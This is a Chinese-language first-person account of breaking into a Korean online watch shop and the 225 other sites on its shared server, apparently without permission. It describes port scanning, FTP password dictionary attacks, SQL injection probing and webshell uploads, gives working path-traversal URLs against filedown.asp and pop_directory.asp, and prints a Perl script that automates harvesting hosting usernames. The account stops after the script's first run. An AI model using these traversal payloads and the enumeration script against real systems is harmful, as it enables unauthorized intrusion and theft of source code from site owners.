入侵韩国网站全过程

朋友是一个哈韩族，老给我推荐一些韩国出产的一些工艺品，呵呵，说真的，老韩的一些工业品还是不错的，特别是服装挺时尚的，俺女朋友就曾经买过两件，哈哈，穿起来挺漂亮的，最近俺朋友又给我推荐了一个卖手表的网站，直接打开如图1所示，手表看起来不错哦，跟劳力士得一拼哦！韩国是美国的小弟，俺是安全爱好者，看到网站就想看看该网站的安全做的如何，当我浏览网站产品时，如果要查看详细情况时，都会自动跳转到登录页面。

如图2所示，仅仅查看而已，都要登录，有这个必要吗？到底它网站的安全性如何呢？一、信息收集1.获取IP 地址首先打开DOS 窗口，然后使用“ping ”获取该网站的真实IP 地址，如图3所示，通过ping 命令知道该主机应该采取了一些安全措施，丢包率比较高，应该是禁止进行ping 等命令。

2.使用superscan 探测端口请出俺的扫描工具——superscan ，使用supersan3.0扫了一下IP 地址为“XX.XX.85.96”的端口开放情况，如图4所示，发现只开了21，22，80端口，从端口开放情况来看，对外提供服务仅仅21和80端口，感觉安全应该还可以，只能从Web 和Ftp 来入手。

3.Ftp口令扫描使用一些Ftp口令扫描工具对该IP地址扫描，使用了多个字典进行扫描，均未成功，看来Ftp口令扫描攻击方法不行。

说明：一般站点都会开放Ftp服务，Ftp服务主要用来上传程序等，一般默认会设置在Web目录，因此一旦获取了Ftp口令，就可以跟用户一样“正常”使用Ftp来上传和下载Web程序，通过上传Webshell或者获取数据库等方式来进行渗透和控制。

二、检查SQL注入攻击点1.寻找注入点先手动对该网站地址进行SQL注入点的检测，在地址后加入“’”、“or”等，例如在地址栏中分别输入：/g oods/content.asp?big=3&middle=12&small=1&num=30967’后回车，在地址栏中会自动变成“/goods/content.asp?big=3&middle=12&small=1&num= 30967%20and%201=1”，如图5所示，虽然手动检测结果提示为SQL错误，当后面使用一些脚本测试，没有找到明显的SQL注入点，使用HDSI等工具进行探测的结果也显示无注入点，说明暂时找不到注入点。

2.寻找上传地址通过是使用Flashget以及digshell挖掘鸡等工具对该网站进行上传地址搜索和检查，在/other/contact_us.asp这个页面找到一个上传，但不能上传asp、asa等可以提升权限的文件类型。

3.旁注信息搜集既然正面不能突破，那么就从侧面，通过旁注来看看可否获取该网站的Webshell。

打开/ 输入后发现同一服务器下一共有226个站，如图6所示。

说明：/ 是一个通过IP地址或者域名来获取该IP地址或者域名所在服务器中所存在的其它网站地址。

它是一个旁注的辅助工具，当然在明小子Domain3.5以及其它一些工具软件中也有这个功能。

既然在该IP地址上有226个网站，那就从其它网站入手吧。

4.尝试对其它站点进行渗透对剩下的225个网站随机进行SQL注入点探测，随机选中一个网站“”，从中找到一个可上传的地方，可以直接上传文件，将本地的一个Webshell文件上传到该站点，上传文件成功后，asp木马却无法运行，如图7所示。

看来该站点无法找到突破点，那就选择下一个网站进行探测吧。

后面我对多个站点进行了SQL注入探测和寻找文件上传地址。

通过探测虽然很多网站存在注入点，但都是public权限，无法备份得shell；即使成功进入后台后，有上传的地方，上传后还是没有运行脚本的权限。

说明管理员对该主机采取了严格的基于网站用户角色的安全权限策略，安全设置比较变态，对每个可上传的目录做了限制，仅对已知文件脚本类型运行，而禁止对其它脚本运行，各个网站之间安全先对独立。

三、获取突破点1.任意下载文件在我即将要放弃安全测试时，在打开/bbs/contents.asp?schoption=&schword=&page=1&idx= 164&bid=used01页面时，发现可以有下载的地方，而下载的参数就是一个文件，如果没有做限制的话，那就可以下载任何文件！如图8所示。

2.获取上传文件地址通过测试发现该上传页面可以上传任何文件，而在对另一网站注入时，也得到了网站的绝对路径（F:\HOME\HANSINCAR\WWW\HELPDESK\../board/inc/view.asp ），如图9所示。

3.推测网站绝对路径通过观察，可以知道在该服务器上每个网站的绝对路径就是“F:\用户名\WWW\”，于是可以构造一个地址下载网站中的源程序：/bbs/filedown.asp?filename=../../../../rolexcopy/www/goods/submain.asp说明：（1）打算下载/goods/submain.asp 文件（这里说明一下，因为down 默认检查文件名的目录是DEXTUpload/editor/中，查看图片的属性就知道了，所以要"../../"返回网站的根目录），但发现却无法下载，如图10所示。

（2）分析不能下载原因难道真的做了限制，还是权限问题？还是其它， 网站肯定存在上传漏洞，更换一个网站进行测试：/bbs/filedown.asp?filename=../../../../hansincar/www/board/inc/view.asp发现可以下载，如图11所示。

但为什么不能下载 网站中的文件呢，该网站中的submain.asp 是存在的，那只有一种可能——用户名XXX 不存在。

（3）获取网站的真正用户名怎么找到此网站的用户名呢？一个好的办法就是通过网站域名注册信息来获取用户的网站用户名，通过 来获取 网站域名注册信息，如图12所示。

（4）下载仍然失败于是尝试将原来的用户名更换为“tmdgus022”和“tmdgus”，进行测试：/bbs/filedown.asp?filename=../../../../tmdgus022/ www/goods/submain.asp/bbs/filedown.asp?filename=../../../../tmdgus/www /goods/submain.asp测试结果都显示找不到文件，看来通过该方法仍然无法下载源文件。

四、新的转机1.动手构建获取网站用户名的程序现在的问题就是要找到网站对应的用户名。

在某一网站后台，发现有可以列目录。

却跳不出该网站的根目录（在根目录时，“../”是不可点击），不可点击，那可以构造URL跳出，于是先看点击返回上一级目录时跳转到的URL，于是找到处理该JS的代码，如下：列出了当前网站的根目录，如图13所示。

2.获取根目录用户名称如果要返回到F:\home就要构造URL：/admin/inc/pop_directory.asp?FormName=all&f_location =../../&last=ok因为网站的根目录在F:\home\***\www下，发现还是pop_directory.asp的文件还是在网站的根目录下，难道说不能跳出？再仔细看了下“../../”不是刚好返回到网站根目录吗，因为pop_directory.asp文件在F:\home\***\www\admin\inc\目录下，于是重新构造URL/admin/inc/pop_directory.asp?FormName=all&f_location =../../../../&last=ok终于跳到F:\home目录中了，全部的用户名都出来了，如图14所示。

3.动手编写find.pl脚本自动获取用户下面的工作就简单了，就是一个个文件夹点进去，看那个是目录目标网站（/），然后就再构造URL下载就行了，但200多个站，一个个看，那不是很累？于是想出来偷懒的方法，写个脚本来自己找吧，先把网站全部用户复制下来，保存到user.txt文件中，再分析目标站点登录界面源代码，发现网站admin/image目录下有个admin_bk.gif文件，将其作为识别特征，也就是说只要我列出每个admin/image目录中目录下发现有admin_bk.gif文件，说明就可能是目标网站了。

Find.pl的脚本源代码如下：use LWP;use HTTP::Cookies;use HTTP::Request::Common qw(POST);my $ua=new LWP::UserAgent;$ua->agent('Mozilla/5.0');$ua->cookie_jar(new HTTP::Cookies);open(FILE,"user.txt") || die ("Could not open file");my @arr=;for my $line (@arr) {chomp $line;any($line);}sub any {print "分析$_[0]\n";my$url="/admin/inc/pop_directory.asp?FormName=all&Inpu tName=ji_AbsFolder&f_location=../../../../$_[0]/www/admin/image&r_loc ation=../../../../&r_folder=$_[0]/www/admin/image&l_folder=admin&last =";my ($content, $status, $is_success) = do_GET($url);if ($content =~ m/pop_directory.asp/) {next;}elsif ($content =~ m/admin_bk.gif/){ok($_[0]);}}sub do_GET {$browser = LWP::UserAgent->new unless $browser;my $resp = $browser->get(@_);return ($resp->content, $resp->status_line,$resp->is_success, $resp)if wantarray;return unless$resp->is_success;return $resp->content;}sub ok{open(FILE1,">>e:/perl/0k.txt") || die ("Could not open file");print FILE1 "$_[0]\r\n";close(FILE1);}在本地运行一下find.pl，等待一分钟左右再打开ok.txt，在该文件中发现有多个用户名注意：如果选好过滤的文件为admin_bk.gif，就不会出现那么多用户名了。